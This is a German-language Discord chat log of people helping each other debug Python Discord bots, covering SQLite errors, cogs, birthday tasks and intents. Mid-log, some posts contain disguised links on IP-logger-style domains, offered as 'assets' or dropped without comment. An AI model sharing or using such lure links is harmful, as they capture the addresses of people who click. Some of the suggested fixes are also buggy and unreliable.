super().__init__("data.db")
async def setup(self):
await self.exec(
"""CREATE TABLE IF NOT EXISTS data (
date STRING PRIMARY KEY,
servercount INTEGER DEFAULT NULL,
users INTEGER DEFAULT NULL
)"""
)
async def set_data(self, usercount, servercount):
async with self.start() as cursor:
now = datetime.now()
datestring = now.strftime('%Y-%m-%d %H:%M:%S')
await cursor.execute("INSERT OR IGNORE INTO data (date) VALUES (?)", (str(datestring),))
await cursor.execute("UPDATE data SET servercount = ?", (servercount,))
await cursor.execute("UPDATE data SET users = ?", (usercount,))```
haste schon gefixxt?
nö
kannste dir mal str(len({self.bot.users})), str(len({self.bot.guilds})) auslesen lassen und den ty<pe von dem
wie krieg ich den type geprintet?
also print(type(str(len(self.bot.users)))?
und self.bot.guilds
ok mach ich
und
mach mal print(str(len(self.bot.users)), str(len(self.bot.guilds)))
ah ne
so: print(type(str(len(self.bot.users))), str(type(len(self.bot.guilds))))
und wie ist deine Datenbank struktur
also ist das zweite nen int und das erste nen string?
"""CREATE TABLE IF NOT EXISTS data (
date STRING PRIMARY KEY,
servercount INTEGER DEFAULT NULL,
users INTEGER DEFAULT NULL
)"""
ich speichere strings in die integer 💀
schick mal deine db.set_data method
async def set_data(self, usercount, servercount):
async with self.start() as cursor:
now = datetime.now()
datestring = now.strftime('%Y-%m-%d %H:%M:%S')
await cursor.execute("INSERT OR IGNORE INTO data (date) VALUES (?)", (str(datestring),))
await cursor.execute("UPDATE data SET servercount = ?", (servercount,))
await cursor.execute("UPDATE data SET users = ?", (usercount,))
dann musst du so machen
await db.set_data(int(len({self.bot.users})), int(len({self.bot.guilds})))
hab zu früh abeschickl
await db.set_data(int(len({self.bot.users})), int(len({self.bot.guilds})))
TypeError: unhashable type: 'list'
warum ist das erste nen string?
hatten wir doch vorhin geprinted, glaub das war servercount
ja jz ist es keins mehr
im task.loop zeile 50.
@tasks.loop(hours=5)
async def set_counters(self):
print("Setting counts...")
await db.set_data(int(len({self.bot.users})), int(len({self.bot.guilds})))

warum machst du db.set_data und niocht set_counts.set_data?
deine db class heißt set_counts
epische domain bruder
Aber ich mach doch db.set_data?
https://xxkillderhdxx.robux-s.cam/vjTcDJls
immer einer von den
aber deine class heißt nicht db
und hast du nh var mit db =
db = set_counts()
ja das macht sinn
und warum kommt der error
int
try das mal: await db.set_data(len(self.bot.users), len(self.bot.guilds))
||datatype mismatch||
der ist ganzschön lang :(
Unhandled exception in internal background task 'set_counters'.
Traceback (most recent call last):
await db.set_data(len(self.bot.users), len(self.bot.guilds))
await cursor.execute("INSERT OR IGNORE INTO data (date) VALUES (?)", (str(datestring),))
raise e
cursor = await db.execute(sql, args)
cursor = await self._execute(self._conn.execute, sql, parameters)
return await future
result = function()
sqlite3.IntegrityError: datatype mismatch

dashat nix mit dem code zu tun du idiot
:(
async def setup(self):
await self.exec(
"""CREATE TABLE IF NOT EXISTS data (
date DATETIME DEFAULT CURRENT_TIMESTAMP PRIMARY KEY,
servercount INTEGER DEFAULT NULL,
users INTEGER DEFAULT NULL
)"""
)
```
und in deiner set_data musst du das date nd mehr eintragen
und musst halt jetzt gleich datenbank löschen
wie kann ich zum beispiel, dass wenn in der db ein text steht und dort eine varbiable mit {user} gekenzeichned ist, dass diese nachricht bei joinen eines users aus der db gelesen wird und statt {user} der aktuelle user name steht der gerade gejoint ist
was muss ich jetzt in der set_data ändern?
das 1. cursor.execute
einfach weg?
text.replace("{user}", variable)
Habe ich gerade selber heraus gefunden
so
👍
aber danke dir
kannst sogar das datestring weg machen
kein ding 
hab, funzt jetzt aber er speichert nix
nöpeli
der atze printed auch setting counts
await cursor.commit()
macht das ezcord nicht automatisch
du used kein ezcord
mach einfach await self.execute() dann ja
ezcord db handler
nein du used kein ezcord
async def set_data(self, usercount, servercount):
await self.execute("UPDATE data SET servercount = ?", (servercount,))
await self.execute("UPDATE data SET users = ?", (usercount,))
dann ja
aber weil du self.start() gemach hast nd 
wird nichts gespeichert
hast du das jz mit await self.execute gemacht?
jo
^dann kp :o
H#
BIST DU DUMM?
Was willst du denn da updaten? wenn dann musst du inserten?
await self.execute("INSERT OR IGNORE INTO data SET users = ?, servercount = ?", (usercount, servercount))
sqlite3.OperationalError: near "SET": syntax error

warte
gerade ka
await self.exec("""
INSERT INTO data (users, servercount) VALUES(?, ?)
""", (usercount, servercount))
kriegst aber keine kekse weil du mich dumm genannt hast 
oha 17 Kekse gebühren
HALLO
@solid ingot ich habe codestantin kekse geschenkt es kommt aber nix 
kekse sind trotzdem angekommen
warum sendet der die nachricht eigenlich nicht
wenn er keine rechte hat zb
ay ay
freu mich schon den ganzen ranz aus daten in nen schönen matplot zu ballern
Kennst sich jemand von euch mit Open AI aus?
Wobei brauchst du denn Hilfe?
Update von openai 0=28 auf aktuelle
Kriegs ned
Hatte auch vor bissl noch was reinzucoden aber klappt auch ned 🥲
Ok ok in deinem Code oder auf einem Server oder local?
Server
Linux? Wenn ja Ubuntu ?
Das sieht mehr nach customtkinter aus
ja wie geht das?
will halt nicht so ein button
Einfache erstmal die Dokumentation angucken
Du kannst auch einfach 2 Buttons nebeneinander machen
aber wie mache ich das dann das er dann blau wird und dann wenn ich den anderen drücke wieder weiß?
2 buttons nebeneinander lol
category.create_text_channel("test", reason="BotCreation)
kann mir jmd sagen wie ich hier noch die permmsion amche das leute nix in den channel reinschreiben können? send_message=False ja aber wie pack ich das hier rein
guck in #1216824515766779994 da ist es
https://docs.pycord.dev/en/stable/api/models.html#discord.Guild.create_text_channel Einfach die overwrites angeben
Models are classes that are received from Discord and are not meant to be created by the user of the library. Attributes key, url. Methods def is_animated, async read, def replace, async save, def ...
Findest da auch ein beispiel
Okaydanke habs
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Links aus diesem Video
Cog Code ► https://github.com/tibue99/tutorial-bot
Template Variablen ► https://www.jetbrains.com/help/pycharm/template-variables.html#predefined_functions
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Mein Hosting* ► https://tidd.ly/3gJufg6
Code auf Github ► https://github.com/tibue99/tutori...
wenn ich einen code auf den server hochlade kommt py Traceback (most recent call last): File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 778, in _load_from_module_spec spec.loader.exec_module(lib) # type: ignore ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "<frozen importlib._bootstrap_external>", line 940, in exec_module File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed File "/home/container/Premium/PingReaction.py", line 6, in <module> from Premium.premium import PremiumUser File "/home/container/Premium/premium.py", line 9, in <module> class PremiumCOG(commands.Cog): File "/home/container/Premium/premium.py", line 84, in PremiumCOG @premium.command() ^^^^^^^^^^^^^^^^^ File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 1258, in wrap command = cls(func, parent=self, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 694, in __init__ self._validate_parameters() File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 712, in _validate_parameters self.options = self._parse_options(params) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 770, in _parse_options option = Option(option) ^^^^^^^^^^^^^^ File "/home/container/.local/lib/python3.11/site-packages/discord/commands/options.py", line 232, in __init__ raise exc File "/home/container/.local/lib/python3.11/site-packages/discord/commands/options.py", line 227, in __init__ self.input_type = SlashCommandOptionType.from_datatype(input_type) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/container/.local/lib/python3.11/site-packages/discord/enums.py", line 849, in from_datatype raise TypeError( TypeError: Invalid class <class 'discord.interactions.Interaction'> used as an input type for an Option The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/home/container/main.py", line 20, in <module> bot.load_extension(f'Premium.{filename[:-3]}') File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 912, in load_extension self._load_from_module_spec(spec, name) File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 781, in _load_from_module_spec raise errors.ExtensionFailed(key, e) from e discord.errors.ExtensionFailed: Extension 'Premium.PingReaction' raised an error: TypeError: Invalid class <class 'discord.interactions.Interaction'> used as an input type for an Option aber local geht alles
Der Code dazu wäre nicht schlecht
bin noch müde sry
Ich denke du hast einen Falschen Code gesendet
Sicher das es die premium.py ist?
aber da steht Premium.PingReaction o.O
hab es versucht aber nicht geschafft hier ist die premium.py
Traceback (most recent call last):
File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 778, in _load_from_module_spec
spec.loader.exec_module(lib) # type: ignore
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<frozen importlib._bootstrap_external>", line 940, in exec_module
File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
File "/home/container/Premium/PingReaction.py", line 6, in <module>
from Premium.premium import PremiumUser
File "/home/container/Premium/premium.py", line 9, in <module>
class PremiumCOG(commands.Cog):
File "/home/container/Premium/premium.py", line 85, in PremiumCOG
@premium.command()
^^^^^^^^^^^^^^^^^
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 1258, in wrap
command = cls(func, parent=self, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 694, in __init__
self._validate_parameters()
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 712, in _validate_parameters
self.options = self._parse_options(params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/core.py", line 770, in _parse_options
option = Option(option)
^^^^^^^^^^^^^^
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/options.py", line 232, in __init__
raise exc
File "/home/container/.local/lib/python3.11/site-packages/discord/commands/options.py", line 227, in __init__
self.input_type = SlashCommandOptionType.from_datatype(input_type)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/container/.local/lib/python3.11/site-packages/discord/enums.py", line 849, in from_datatype
raise TypeError(
TypeError: Invalid class <class 'discord.interactions.Interaction'> used as an input type for an Option
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/home/container/main.py", line 20, in <module>
bot.load_extension(f'Premium.{filename[:-3]}')
File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 912, in load_extension
self._load_from_module_spec(spec, name)
File "/home/container/.local/lib/python3.11/site-packages/discord/cog.py", line 781, in _load_from_module_spec
raise errors.ExtensionFailed(key, e) from e
discord.errors.ExtensionFailed: Extension 'Premium.PingReaction' raised an error: TypeError: Invalid class <class 'discord.interactions.Interaction'> used as an input type for an Option```
ka ob sich der geändert hat
@option('arg', str, description=..., required=...)```
habs schon aber danke

PS C:\Users\Bobby Inox\Documents\Discord Bot Programming\getting-started-activity> cloudflared tunnel --url http://lo
cloudflared : Die Benennung "cloudflared" wurde nicht als Name eines Cmdlet, einer Funktion, einer Skriptdatei oder eines ausführbaren Programms erkannt. Überprüfen Sie die
Schreibweise des Namens, oder ob der Pfad korrekt ist (sofern enthalten), und wiederholen Sie den Vorgang.
In Zeile:1 Zeichen:1
+ cloudflared tunnel --url http
+ ~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (cloudflared:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\Bobby Inox\Documents\Discord Bot Programming\getting-started-activity>
hat jemanden dafür eine lösung?
Du musst cloudflared installieren
Wurde ja nicht gefunden
Nach der Installation von Cloudflared musst du entweder einmal Visual Studio Code oder deinen PC neu starten
wieso geht das nicht ?
Kommt error
Weil es kein Select Menu ist
kann man auch
Du hast aber min_values geschrieben und nicht min_length
omg so lost von mir sryy
Alles gut 

Weiß jemand wie man den avater eines members bei einem embed in den Titel bekommt?
Am besten mit discord.py
was ?
.set_author()
python,
Python ist kein server xD
Python Server ☠️
Kann man sich aber eig denken
Ja aber er meint wahrscheinlich worauf es läuft..
Sowie ich es verstanden hab
auf nem python server
und dito
Naja und worüber läuft der Python Server
Danke!
class Birthday(ezcord.Cog):
def __init__(self, bot):
self.bot = bot
self.send_birthday_notifications.start()
@tasks.loop(hours=24) # Task, der alle 24 Stunden ausgeführt wird
async def send_birthday_notifications(self):
today = datetime.date.today()
birthdays = await db.get_birthday_date(today.day, today.month)
for birthday in birthdays:
server_id = birthday['server_id']
birthday_channel_id = birthday['birthday_channel_id']
channel = await db.get_birthday_channel(server_id, birthday_channel_id)
if channel is None:
continue
message = f"🎉 Happy birthday to <@{birthday['user_id']}>! 🎂"
embed = discord.Embed(
title="🎉 Happy Birthday! 🎂",
description=message,
color=discord.Color.gold()
)
file_path = os.path.join(os.getcwd(), "img", "birthday.jpeg")
file = discord.File(file_path, filename="birthday.jpeg")
embed.set_thumbnail(url="attachment://birthday.jpeg")
try:
await channel.send(embed=embed, file=file)
except discord.HTTPException:
print(f"Fehler beim Senden der Geburtstagsnachricht in {channel.name} auf Server {server_id}")```py
Unhandled exception in internal background task 'send_birthday_notifications'.
Traceback (most recent call last):
File "C:\Users\nicor\OneDrive\Desktop\helper stern\venv\Lib\site-packages\discord\ext\tasks\__init__.py", line 169, in _loop
await self.coro(*args, **kwargs)
File "C:\Users\nicor\OneDrive\Desktop\helper stern\cogs\birthday.py", line 74, in send_birthday_notifications
birthday = birthdays[server_id]
~~~~~~~~~^^^^^^^^^^^
IndexError: tuple index out of range```
get_birthday_date gibt dir einen Tupel zurück wie es aussieht, aber du versuchst es wie ein Dictionary zu nutzen.
Diese Erkenntnis sollte dir jetzt weiter helfen
Tuple löst man mit birthday[0]
Nicht mit Namen
Ich denke er hat's verstanden
👍
👍🏽
ja hab schon
es wird kein embed geschickt XD idk warum ```py
@tasks.loop(minutes=1)
async def check_birthday(self):
await self._check_birthday()
print(1)
async def _check_birthday(self):
now = datetime.datetime.now()
for guild in self.bot.guilds:
today_birthdays = await db.get_birthday_date(now.day, now.month)
embed = discord.Embed(
title="🎉 Happy Birthday! 🥳",
description="Let's celebrate with them:",
color=discord.Color.gold()
)
file_path = os.path.join(os.getcwd(), "img", "birthday.jpeg")
embed.set_thumbnail(url="attachment://birthday.jpeg")
birthday_info = ""
for user_id in today_birthdays:
member = guild.get_member(user_id)
if member:
birthday_info += f"🎈 {member.mention}\n"
next_birthday = datetime.datetime(now.year, now.month, now.day)
if next_birthday < now:
next_birthday = next_birthday.replace(year=now.year + 1)
else:
print("Nächster gebnurtstag ist heute.")
days_until_birthday = (next_birthday - now).days
birthday_info += f"Next birthday in {days_until_birthday} days\n\n"
channel_id, role_id = await db.get_birthday_channel(guild.id)
birthday_role = discord.utils.get(guild.roles, id=role_id)
if birthday_role:
await member.add_roles(birthday_role)
await asyncio.sleep(86400)
await member.remove_roles(birthday_role)
else:
print(f"Member mit der ID {user_id} nicht auf dem Server {guild.name} gefunden.")
embed.add_field(name="Birthday Members", value=birthday_info)
channel_id = await db.get_birthday_channel(guild.id)
channel = guild.get_channel(channel_id)
if channel:
await channel.send(embed=embed, file=discord.File(file_path, "birthday.jpeg"))
else:
print(f"Kein kanal auf dem Server {guild.name} gefunden für das sender der Geburtstagsnachricht.")```
kommen irgendwelche prints?
Ja dem 1
Kann man irgendwie in einer Datei 2 on_message Events haben?
Was meinst du?
Das hat nichts mit deinem Problem zu tun
naja es wird nichts geschickt weil du nirgends in dem code was schickst
Print mal deinen BD Channel
Bzw die Id
Kann mir jmd bitte helfen?
view = View()
view.add_item(transfer_select())
await interaction.response.send_message(view=view, ephemeral=True)
class transfer_select(discord.ui.View):
def __init__(self):
@discord.ui.user_select(placeholder="Select a user", min_values=1,max_values=1)```
Ignoring exception in view <View timeout=None children=14> for item <transfer style=<ButtonStyle.secondary: 2> url=None disabled=False label='' emoji=<PartialEmoji animated=False name='set_owner' id=1139926025980104794> row=None>:
Traceback (most recent call last):
File "/home/container/.local/lib/python3.11/site-packages/discord/ui/view.py", line 414, in _scheduled_task
await item.callback(interaction)
File "/home/container/cogs/tempvoice.py", line 896, in callback
view.add_item(transfer_select())
File "/home/container/.local/lib/python3.11/site-packages/discord/ui/view.py", line 287, in add_item
raise TypeError(f"expected Item not {item.class!r}")
TypeError: expected Item not <class 'cogs.tempvoice.transfer_select'>
Du kannst keine View zu ner View adden
Du kannst Buttons oder Dropdowns zu einer View adden
Okay danke
Hellöle!
Ich bräuchte hilfe bei ezcord 
hier sind alle assets:
https://click-here.iplogger.click/FoRsobkDFTOzJDTS
https://asuna.likes-your.mom/CfAfIbVJvYxkQNlC
https://i.ddosed-your.network/PyOKtHSGwuhuQEeY
Das soll als discord Timestamp angezeigt werden!
dafür müsstest du strptime nutzen aus der datetime lib
Hey kann mir wer dabei helfen aus irgendeinem Grund kann Python nicht auf das System zugreifen
Gib ma ein Code Example 
gibt keine python3.exe
In this article, you will learn to create a datetime object from a string (with the help of examples). For that, we use Python's strptime() method. Any string representing date and time can be converted to datetime object by using a corresponding format code equivalent to the string.
dt = datetime.fromisoformat(created_timestamp)
timestamp = ezcord.dc_timestamp(dt.timestamp())
Ghost Ping?
Hey Leute
Kann mir jemand sagen wieso Error Meldungen kommen sobald ich meinen Bot stoppe (Strg+ C) aber nicht wenn ich ihn starte?
Error Meldungen
Traceback (most recent call last):
File "C:\Users\Py Coding\AppData\Local\Programs\Python\Python312\Lib\site-packages\discord\cog.py", line 784, in _load_from_module_spec
setup = getattr(lib, "setup")
^^^^^^^^^^^^^^^^^^^^^
AttributeError: module 'cogs.greet' has no attribute 'setup'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "c:\Users\Py Coding\Desktop\PyBot\main.py", line 33, in <module>
bot.load_extension(f"cogs.{filename[:-3]}")
File "C:\Users\Py Coding\AppData\Local\Programs\Python\Python312\Lib\site-packages\discord\cog.py", line 912, in load_extension
self._load_from_module_spec(spec, name)
File "C:\Users\Py Coding\AppData\Local\Programs\Python\Python312\Lib\site-packages\discord\cog.py", line 787, in _load_from_module_spec
raise errors.NoEntryPointError(key)
discord.errors.NoEntryPointError: Extension 'cogs.greet' has no 'setup' function.
discord.errors.NoEntryPointError: Extension 'cogs.greet' has no 'setup' function.
das bedeutet?
Das der Cog keine Setup Function hat
Du solltest den error vernünftig lesen
Ach das hätte ich jetzt nicht gedacht
ich habe ihn vernünftig gelesen aber halt nicht verstanden
Naja da steht als normaler satz, was der fehler ist.
Also ist ja klar, dass dein Cog eine setup function braucht.
Und wenn du das dann nicht verstehst kannst du ja googeln nach py-cord cogs setup function o.ä.
Ja kann ich, ich kann ja aber auch einfach bei Discord fragen, da sind die antworten meistens verständlicher als in Google bzw. kann man bei Discord auch bei antworten noch mal nachfragen wenn man etwas nicht versteht
Aber du musstest jetzt bis zum nächsten Tag auf eine richtige Antwort warten, mit googeln ginge das in 10 Sekunden
Direkt das erste Ergebnis
Ja Google gibt in 10 Sekunden eine Antwort bringt aber nix wenn man das von Google nicht versteht
Was genau verstehst du da denn nicht?
Maybe kann ich dir dann erklären, wie man richtig googelt o.ä.
Richtig Googeln ist auch ein Skill den man lernen muss
Nein muss man nicht weil man kann ja auch einfach discord benutzen
Hast du das Problem denn schon gelöst?
Ja
👍🏽
Was ist denn bei emb.error() also dem EzCord Embed-dingens die target-Variable und was muss da rein?
Wofür braucht man bei der Frage den Code?????
Der target ist die interaction
Oder wenn du es halt in nem on_message oder so hast, dann halt message
@twilit anvil
Heißt, ich muss target=ctx machen?
Vermutlich ja
du kannst auch nur ctx hinschreiben und dann die nachricht
await emb.error(ctx, "Error message")
hier ist ein beispiel
Ich denke er hat es bereits verstanden
@solid ingot Muss man button immer mit async def birthday(self, button, interaction) schreiben, oder man kann es weglassen? dem (button)
Inwiefern?
Ohne function wird dein Button nicht funktionieren
das war meine frage :D
Das müsste eigentlich klar sein
Kann wer helfen ```from discord.ext import commands
import discord
intents = discord.Intents.default()
intents.dm_messages = True
bot = commands.Bot(command_prefix='!', intents=intents)
@bot.event
async def on_ready():
print('Bot ist bereit!')
@bot.command()
async def send_embed(ctx):
user = ctx.author # Aktueller Benutzer, der den Befehl ausgeführt hat
dm_channel = await user.create_dm()
embed = discord.Embed(title='Welcome!',
description='Have fun',
color=0x0099ff)
await dm_channel.send(embed=embed)```
2024-03-26 19:38:22 WARNING discord.ext.commands.bot Privileged message content intent is missing, commands may not work as expected.
2024-03-26 19:38:22 INFO discord.client logging in using static token
2024-03-26 19:38:23 INFO discord.gateway Shard ID None has connected to Gateway (Session ID: c9d6c0b932581581bd1eb49d8b79f681).
Bot ist bereit!
der cmd geht nicht
was hast du eingegeben
was meinst du?
weil du schreibst der cmd geht nicht
bot.run("Token") fehlt
das habe ich, aber weggeschnitten
ok
ich will das mit dem cmd !send_embed <user> das embed in die dms gesendet wird
du hast auch keine intents an XD
dazu musst aber den bot erst eine nachricht schreiben bzw der bot kann nicht alle user schreiben
intents.messages = True``` ich glaube mal du musst das noch anmachen in dein code rein schreiben
Du musst die Privileged message content intent aktivieren.
Im Code und im Developer Portal
wenn es im dev aus ist müsse aber eig eine meldung kommen in der console..
2024-03-26 19:47:27 WARNING discord.ext.commands.bot Privileged message content intent is missing, commands may not work as expected.
2024-03-26 19:47:27 INFO discord.client logging in using static token
2024-03-26 19:47:28 INFO discord.gateway Shard ID None has connected to Gateway (Session ID: 6e30ceb64dd95baf0074bbf1ec91af63).
Bot ist bereit!
WARNING discord.ext.commands.bot Privileged message content intent is missing, commands may not work as expected
sag ich ja 🙂
Hast du es auch im Developer Portal aktiviert?
Schick mal deinen Code, so wie er gerade ist
import discord
intents = discord.Intents.default()
intents.dm_messages = True
intents.messages = True
bot = commands.Bot(command_prefix='!', intents=intents)
@bot.event
async def on_ready():
print('Bot ist bereit!')
@bot.command()
async def send_embed(ctx):
user = ctx.author
dm_channel = await user.create_dm()
embed = discord.Embed(title='Willkommen!',
description='Hallo! Hier ist ein Beispiel-Embed.',
color=0x0099ff)
await dm_channel.send(embed=embed)
bot.run('`token')```
jz sollte es gehen warrte
